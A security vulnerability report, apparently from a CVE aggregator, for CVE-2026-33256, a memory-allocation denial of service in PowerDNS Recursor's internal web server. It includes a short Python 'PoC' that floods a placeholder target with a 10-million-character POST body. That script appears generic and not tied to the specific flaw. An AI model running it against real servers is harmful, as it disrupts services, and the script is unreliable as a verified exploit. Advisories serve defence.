Security Vulnerability Report
中文
CVE-2026-33256 CVSS 5.3 MEDIUM

CVE-2026-33256

Published: 2026-04-22 10:16:51
Last Modified: 2026-04-27 17:04:04

Description

An attacker can send a web request that causes unlimited memory allocation in the internal web server, leading to a denial of service. The internal web server is disabled by default.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:powerdns:recursor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:powerdns:recursor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:powerdns:recursor:5.4.0:*:*:*:*:*:*:* - VULNERABLE
PowerDNS Recursor (具体版本请参考官方公告 powerdns-2026-03)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # PoC for CVE-2026-33256 # Description: Sends a request to trigger memory allocation # Note: The internal web server is disabled by default target = "http://target-ip:8082/" # Internal web server URL # Malicious payload designed to trigger the issue payload = { "param": "A" * 10000000 # Sending large data to force allocation } try: print("[+] Sending payload to target...") r = requests.post(target, data=payload, timeout=10) print(f"[+] Status Code: {r.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed (Potential DoS): {e}")

References

Raw JSON Data

JSON
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